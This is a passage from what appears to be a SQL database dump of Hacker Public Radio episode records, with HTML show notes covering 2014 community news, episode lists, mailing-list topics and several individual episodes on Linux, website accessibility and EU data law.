valign=\"top\">\n    <td align=\"left\"><strong>1545</strong></td>\n    <td align=\"left\">2014-07-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1545\">32 - LibreOffice Calc - Introduction to Charts and Graphs</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1546</strong></td>\n    <td align=\"left\">2014-07-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1546\">HPR Community News for June 2014</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Admins</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1547</strong></td>\n    <td align=\"left\">2014-07-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1547\">My Linux Experience Birthday Special</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\">David Whitman</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1548</strong></td>\n    <td align=\"left\">2014-07-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1548\">Heyu and X10</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=232\">Peter64</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1549</strong></td>\n    <td align=\"left\">2014-07-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1549\">Cool Stuff Pt.1</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\">Curtis Adkins (CPrompt^)</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1550</strong></td>\n    <td align=\"left\">2014-07-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1550\">The Ext3 and 4 File System</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1551</strong></td>\n    <td align=\"left\">2014-07-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1551\">Bitcoin Mining</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=281\">Scyner</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1552</strong></td>\n    <td align=\"left\">2014-07-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1552\">An Open Source News Break from Opensource.com</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1553</strong></td>\n    <td align=\"left\">2014-07-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1553\">TuxJam 33.333 - How we got into Linux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1554</strong></td>\n    <td align=\"left\">2014-07-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1554\">07 - The Crown Conspiracy</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\">HPR_AudioBookClub</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1555</strong></td>\n    <td align=\"left\">2014-07-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1555\">33 - LibreOffice Calc - Creating Charts</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1556</strong></td>\n    <td align=\"left\">2014-07-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1556\">Screenplay Writing On Linux and Chromebooks</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=106\">Thistleweb</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1557</strong></td>\n    <td align=\"left\">2014-07-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1557\">Encrypting E-mail on Android; Importing Keys</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1558</strong></td>\n    <td align=\"left\">2014-07-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1558\">Lunch Breaks</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\">Christopher M. Hobbs</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1559</strong></td>\n    <td align=\"left\">2014-07-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1559\">We don\'t always need new gear.</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\">Knightwise</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1560</strong></td>\n    <td align=\"left\">2014-07-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1560\">The reiserfs File System</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1561</strong></td>\n    <td align=\"left\">2014-07-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1561\">How I got into Accessible Computing</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1562</strong></td>\n    <td align=\"left\">2014-07-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1562\">Android For The cli/c Junkie</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\">sigflup</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1563</strong></td>\n    <td align=\"left\">2014-07-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1563\">Starting Programs at boot on the Raspberry Pi</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1564</strong></td>\n    <td align=\"left\">2014-07-31</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1564\">An Open Source News Break from Opensource.com</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a></td>\n   </tr>\n  </tbody>\n </table>\n <h2>Mailing List discussions</h2>\n <p>Policy decisions surrounding HPR are taken by the community as a whole. This discussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\">Mail List</a> which is open to all HPR listeners and contributors. The discussions are open and available on the <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\">Gmane</a> archive.</p>\n <p>Discussed this month were:</p>\n <ul>\n  <li>Ahuka\'s interview by semioticrobotic for opensource.com</li>\n  <li>Discussion of who is going to OggCamp 14, reserving a table and who has the table kit</li>\n  <li>Montana Ethical Hackers want to broadcast HPR content on <em>107.9FM End Of the Dial--Hacker Radio</em></li>\n  <li>The Mumble server has moved</li>\n  <li>Some Community News banter about many-to-many database relationships initiated a show!</li>\n  <li>Audio Book Club - planning the next recordings, the Mumble change and the location of the feeds</li>\n  <li>A slight misunderstanding about Orca arising from the Community News</li>\n  <li>Some discussion about the generation of audio and HTML show notes</li>\n  <li><em>Should we publish the HPR downloads stats ?</em> - continuation of last month\'s discussion with the conclusion that yes, we should publish these stats</li>\n  <li>5150\'s devastating news - he lost his house in a fire. He and his father are OK, but 5150 got some first-degree and second-degree burns. A funding site has been set up by Dan Frey at <a href=\"https://fundanything.com/en/campaigns/help-5150\">https://fundanything.com/en/campaigns/help-5150</a></li>\n  <li><em>Fwd: Migration in the future (To my company).</em> - <ul>\n    <li>Josh Knapp is setting up his own hosting company <a href=\"https://anhonesthost.com/\">https://anhonesthost.com/</a></li>\n    <li>The HPR site will be migrating there</li>\n    <li>A <em>thank you</em> to Josh\'s company will be included in the intro</li>\n    <li>The outro will need to be re-recorded</li>\n    <li>A summary of the show will also be included after the intro, using text to speech</li>\n   </ul>\n  </li>\n  <li>New Intro, Outro, and Template Files now available - the show note header has been changed too and the details on the web site at <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a></li>\n </ul>\n <h2>Comments this month</h2>\n <p>There are 13 comments:</p>\n <ul>\n  <li><strong>hpr1563</strong> etalas: \"[no title]\", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=1563\">hpr1563</a> (2014-07-30) \"<em>Starting Programs at boot on the Raspberry Pi</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a>.</li>\n  <li><strong>hpr1558</strong> Mark Waters: \"Thanks\", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=1558\">hpr1558</a> (2014-07-23) \"<em>Lunch Breaks</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\">Christopher M. Hobbs</a>.</li>\n  <li><strong>hpr1558</strong> Ken Fallon: \"You *must* get a recording device for mobile interviews\", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=1558\">hpr1558</a> (2014-07-23) \"<em>Lunch Breaks</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\">Christopher M. Hobbs</a>.</li>\n  <li><strong>hpr1558</strong> pokey: \"Cool topic\", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=1558\">hpr1558</a> (2014-07-23) \"<em>Lunch Breaks</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\">Christopher M. Hobbs</a>.</li>\n  <li><strong>hpr1558</strong> Beeza: \"Lunchbreak Exploration\", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=1558\">hpr1558</a> (2014-07-23) \"<em>Lunch Breaks</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\">Christopher M. Hobbs</a>.</li>\n  <li><strong>hpr1554</strong> Colin : \"Journey comments\", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=1554\">hpr1554</a> (2014-07-17) \"<em>07 - The Crown Conspiracy</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\">HPR_AudioBookClub</a>.</li>\n  <li><strong>hpr1553</strong> pokey: \"Fun ep\", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=1553\">hpr1553</a> (2014-07-16) \"<em>TuxJam 33.333 - How we got into Linux</em> \" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway</a>.</li>\n  <li><strong>hpr1551</strong> pokey: \"Very interesting\", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=1551\">hpr1551</a> (2014-07-14) \"<em>Bitcoin Mining</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=281\">Scyner</a>.</li>\n  <li><strong>hpr1549</strong> pokey: \"Cool stuff\", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=1549\">hpr1549</a> (2014-07-10) \"<em>Cool Stuff Pt.1</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\">Curtis Adkins (CPrompt^)</a>.</li>\n  <li><strong>hpr1538</strong> Jon Kulp : \"Thanks Dave! \", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=1538\">hpr1538</a> (2014-06-25) \"<em>Overhauling the School of Music website</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a>.</li>\n  <li><strong>hpr1284</strong> Jon Kulp : \"Help for Ash\", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=1284\">hpr1284</a> (2013-07-04) \"<em>Blather Speech Recognition for Linux: Interview with Jezra</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a>.</li>\n  <li><strong>hpr1199</strong> Don Frey: \"[no title]\", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=1199\">hpr1199</a> (2013-03-07) \"<em>Old Time Radio on the web</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\">Frank Bell</a>.</li>\n  <li><strong>hpr0367</strong> Georgi : \"[no title]\", relating to the show <a href=\"https://hackerpublicradio.org/eps.php?id=0367\">hpr0367</a> (2009-05-28) \"<em>Screw you Hacker</em>\" by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=101\">Chad</a>.</li>\n </ul>',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1538,'2014-06-25','Overhauling the School of Music website',1740,'I discuss how I overhauled an outdated website for my employer.','<p>\r\nI discuss the process of overhauling a badly out-of-date website to make it conform to accessibility standards and give it a responsive design. I also discuss how I came up with my own content management system by Bash scripting.\r\n</p>\r\n<p>\r\nLinks\r\n</p>\r\n\r\n<ul>\r\n<li>School of Music website: <a href=\"https://music.louisiana.edu/\">https://music.louisiana.edu/</a>\r\n</li>\r\n<li>TinyPNG, Web-based tool for optimizing PNG images: <a href=\"https://tinypng.com/\">https://tinypng.com/</a>\r\n</li>\r\n<li>Google developer tool for testing page speed: <a href=\"https://developers.google.com/speed/pagespeed/insights/\">https://developers.google.com/speed/pagespeed/insights/</a>\r\n</li>\r\n<li>WebAIM, Web accessibility testing tool: <a href=\"https://wave.webaim.org/\">https://wave.webaim.org/</a>\r\n</li>\r\n<li>HTML compressor: <a href=\"https://code.google.com/p/htmlcompressor/\">https://code.google.com/p/htmlcompressor/</a>\r\n</li>\r\n<li>Font-Awesome Icons: <a href=\"https://fortawesome.github.io/Font-Awesome/icons/\">https://fortawesome.github.io/Font-Awesome/icons/</a>\r\n</li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','CSS, html, scripting, accessibility',0,1257,1),
(1541,'2014-06-30','How I Came To Linux',2179,'ClaudioM talks about how he came to computers and to Linux','<p>\r\nClaudioM talks about how he came to Linux beginning with an introduction on how he came to computers and how a simple advertisement for an UNIX book would eventually lead to his love for Linux.\r\n</p>\r\n<h2>Helpful Links</h2>\r\n<p>\r\nMattel Aquarius:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Mattel_Aquarius\">https://en.wikipedia.org/wiki/Mattel_Aquarius</a>\r\n</li>\r\n<li><a href=\"https://oldcomputers.net/aquarius.html\">https://oldcomputers.net/aquarius.html</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nFamily Computing:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Family_Computing\">https://en.wikipedia.org/wiki/Family_Computing</a>\r\n</li>\r\n<li><a href=\"https://www.vintage-computer.com/familycomputing.shtml\">https://www.vintage-computer.com/familycomputing.shtml</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nSEFLIN Freenet:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.seflin.org\">https://www.seflin.org</a> (redirects to <a href=\"https://netforum.avectra.com/eweb/DynamicPage.aspx?Site=SEFLIN\">https://netforum.avectra.com/eweb/DynamicPage.aspx?Site=SEFLIN</a>)\r\n</li>\r\n<li>Telnet for Dade County: dc.seflin.org\r\n</li>\r\n<li><a href=\"https://wiki.ardant.net/index.cgi?SeflinFreenet\">https://wiki.ardant.net/index.cgi?SeflinFreenet</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nLinux/PowerPC:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://penguinppc.org\">https://penguinppc.org</a>\r\n</li>\r\n<li><a href=\"https://mac.linux.be/content/apple-powerpc-wiki\">https://mac.linux.be/content/apple-powerpc-wiki</a>\r\n</li>\r\n<li><a href=\"https://wiki.ubuntu.com/PowerPCDownloads\">https://wiki.ubuntu.com/PowerPCDownloads</a>\r\n</li>\r\n<li><a href=\"https://www.debian.org/ports/powerpc/\">https://www.debian.org/ports/powerpc/</a>\r\n</li>\r\n<li><a href=\"https://fedoraproject.org/wiki/Architectures/PowerPC\">https://fedoraproject.org/wiki/Architectures/PowerPC</a>\r\n<p></p>\r\n</li>\r\n</ul>',152,29,0,'CC-BY-SA','BASIC,Mattel Aquarius,Apple IIe,Macintosh,RedHat,SUSE,Mandrake,Slackware',0,1453,1),
(1542,'2014-07-01','Agnes is an IT Lawyer',748,'Today on #HPR; listen to @IT_Advokaten talk about the change in EU law regarding personal data!','<p>Today on Hacker Public Radio, we will talk to an IT lawyer about the new EU regulations regarding personal data.</p>\n <p><em>\"One thing I think you should be aware of is a principle called \'Privacy by Design and Privacy by Default\'!\"</em><br /> -- Agnes</p>\n <h3>IT Solutions Expo 2014</h3>\n <p>In April 2014 I visited the \"IT Solutions Expo\" at the conference centre known as \"The Swedish Fair\" in Gothenburg. The tagline of the IT Solutions Expo was \"The fair that shows you how to make money on tomorrow\'s IT solutions\".</p>\n <p>So a lot of corporate propaganda and sales people. To be totally honest, I hesitated going there. But I am glad I did. There where some really interesting talks concerning privacy and technology that I would not have liked to miss.</p>\n <h3>Agnes Andersson Hammarstrand, IT Lawyer</h3>\n <p>The real highlight of the fair was the talk by Agnes Andersson Hammarstrand, a lawyer specialised in information technology. She covered the new laws that will come to pass in the European Union regarding how we are allowed to handle personal data.</p>\n <p>I was very happy that she was willing to give a short interview for Hacker Public Radio.</p>\n <p>It is interesting to see that it is not only consumers who are starting to think that information about us should be kept safe, it is also slowly becoming the law. If your work in or with companies in the European Union, this is definitely a heads-up, something to take notice of. In a couple of years time you must be ready to follow the new legislation.</p>\n <p>In her talk Agnes also mentioned that companies should have someone who is responsible for privacy issues. Perhaps this is an opportunity for the HPR listeners? Most of you probably feel that this is an important topic already, so why not make it a part of your job description?</p>\n <p>You find all the relevant links down below. If you want to send feedback or get in touch with either Agnes or me, please do not hesitate to do so. If you have any thoughts on the subject at hand or regarding the show, use any of the means below and speak your mind.</p>\n <h3>Stuff referenced in the episode</h3>\n <ul>\n  <li>\"IT Solutions Expo 2014\": <a href=\"https://www.easyfairs.com/events_216/it-solutions-expo2014_42528/it-solutions-expo-2014_42529/\">https://www.easyfairs.com/events_216/it-solutions-expo2014_42528/it-solutions-expo-2014_42529/</a></li>\n  <li>Agnes Andersson Hammarstrand, Twitter: <a href=\"https://twitter.com/it_advokaten\">@IT_Advokaten</a></li>\n  <li>Setterwalls Advokatbyra AB: <a href=\"https://www.setterwalls.se/\">https://www.setterwalls.se/</a></li>\n </ul>\n <h3>How to reach me</h3>\n <p>You should follow me and subscribe to All In IT Radio:</p>\n <ul>\n  <li>Identi.ca: <a href=\"https://identi.ca/alltinomit\">@alltinomit</a></li>\n  <li>Twitter: <a href=\"https://twitter.com/alltinomit\">@alltinomit</a></li>\n  <li>Google+: <a href=\"https://plus.google.com/100309783606985145580/\">https://aiit.se/radio/+</a></li>\n  <li>WWW: <a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a></li>\n </ul>',192,0,0,'CC-BY-SA','it solutions expo 2014, interview, personal data, eu, law',0,1283,1),
(1544,'2014-07-03','An Open Source News Break from Opensource.com',264,'An overview of open source news stories recently published on Opensource.com','<p>In this episode: The true value of open source, an introduction to the new Authors Alliance, and an OpenStack challenge.</p>\n <p>Links:</p>\n <ul>\n  <li><a href=\"https://opensource.com/life/14/5/true-value-of-open-source\">https://opensource.com/life/14/5/true-value-of-open-source</a></li>\n  <li><a href=\"https://opensource.com/life/14/5/authors-alliance\">https://opensource.com/life/14/5/authors-alliance</a></li>\n  <li><a href=\"https://opensource.com/business/14/5/poll-openstack-releases\">https://opensource.com/business/14/5/poll-openstack-releases</a></li>\n </ul>',280,28,0,'CC-BY-SA','Authors Alliance, OpenStack',0,1294,1),
(1549,'2014-07-10','Cool Stuff Pt.1',1507,'In this episode CPrompt covers some pretty cool stuff that he has found over the last few days.','<p>In this episode CPrompt covers some pretty cool stuff that he has found over the last few days.</p>\n <p>Links: Beyond Pod</p>\n <ul>\n  <li><a href=\"https://www.beyondpod.com/Android/\">https://www.beyondpod.com/Android/</a></li>\n </ul>\n <p>You\'re Listening To</p>\n <ul>\n  <li><a href=\"https://youarelistening.to\">https://youarelistening.to</a></li>\n </ul>\n <p>Wallet Ninja</p>\n <ul>\n  <li><a href=\"https://www.amazon.com/Vante-WN501-Wallet-Ninja/dp/B00JJVBGU4\">https://www.amazon.com/Vante-WN501-Wallet-Ninja/dp/B00JJVBGU4</a></li>\n </ul>\n <p>Dream The Electric Sleep</p>\n <ul>\n  <li><a href=\"https://www.dreamtheelectricsleep.com/\">https://www.dreamtheelectricsleep.com/</a></li>\n </ul>',252,0,0,'CC-BY-SA','beyondpod,youarelistening.to,Wallet Ninja,Dream The Electric Sleep',0,1477,1),
(1631,'2014-11-03','HPR Community News for October 2014',3124,'Discussions on the New Year show and more','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: <br />\r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=287\">corenominal</a>, \r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">beni</a>.\r\n</p>\r\n\r\n<h2>Last Month\'s Shows</h2>\r\n<table>\r\n    <thead>\r\n	<tr>\r\n	<th align=\"left\">Id</th>\r\n	<th align=\"left\">Date</th>\r\n	<th align=\"left\">Title</th>\r\n	<th align=\"left\">Host</th>\r\n	</tr>\r\n    </thead>\r\n    <tbody>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1608</strong></td>\r\n	<td align=\"left\">2014-10-01</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1608\">Interviews at Lincoln LUG</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=287\">corenominal</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1609</strong></td>\r\n	<td align=\"left\">2014-10-02</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1609\">Sigil And The Process Of The Epub In FOSS</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\">lostnbronx</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1610</strong></td>\r\n	<td align=\"left\">2014-10-03</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1610\">The BTRFS File System</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1611</strong></td>\r\n	<td align=\"left\">2014-10-06</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1611\">HPR Community News for September 2014</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1612</strong></td>\r\n	<td align=\"left\">2014-10-07</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1612\">Don\'t Forget the Referbs</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\">NYbill</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1613</strong></td>\r\n	<td align=\"left\">2014-10-08</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1613\">What\'s in a nickname?</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=283\">Inscius</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1614</strong></td>\r\n	<td align=\"left\">2014-10-09</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1614\">An Open Source News Break from Opensource.com</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1615</strong></td>\r\n	<td align=\"left\">2014-10-10</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1615\">39 - LibreOffice Calc - Inferential Statistics Functions</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1616</strong></td>\r\n	<td align=\"left\">2014-10-13</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1616\">Howto Use Webfonts</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1617</strong></td>\r\n	<td align=\"left\">2014-10-14</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1617\">Spaceteam</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">beni</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1618</strong></td>\r\n	<td align=\"left\">2014-10-15</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1618\">OggCamp Attendees</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">beni</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1619</strong></td>\r\n	<td align=\"left\">2014-10-16</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1619\">Bare Metal Programming on the Raspberry Pi (Part 1)</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\">Gabriel Evenfire</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1620</strong></td>\r\n	<td align=\"left\">2014-10-17</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1620\">Passwords, Entropy, and Good Password Practices</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1621</strong></td>\r\n	<td align=\"left\">2014-10-20</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1621\">OggCamp Interview with James Tait</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=287\">corenominal</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1622</strong></td>\r\n	<td align=\"left\">2014-10-21</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1622\">An interview with Michael Tiemann</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1623</strong></td>\r\n	<td align=\"left\">2014-10-22</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1623\">Tech and Coffee at OggCamp</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">beni</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1624</strong></td>\r\n	<td align=\"left\">2014-10-23</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1624\">Penguicon 2015 Call for Talks</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1625</strong></td>\r\n	<td align=\"left\">2014-10-24</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1625\">40 - LibreOffice Calc - Other Functions</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1626</strong></td>\r\n	<td align=\"left\">2014-10-27</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1626\">Opensource.com: Recalling OSCON 2014.</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1627</strong></td>\r\n	<td align=\"left\">2014-10-28</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1627\">5150 Shades of Beer: 0001 He\'Brew Hops Selection from Smaltz Brewing Company</a></td>\r\n	<td 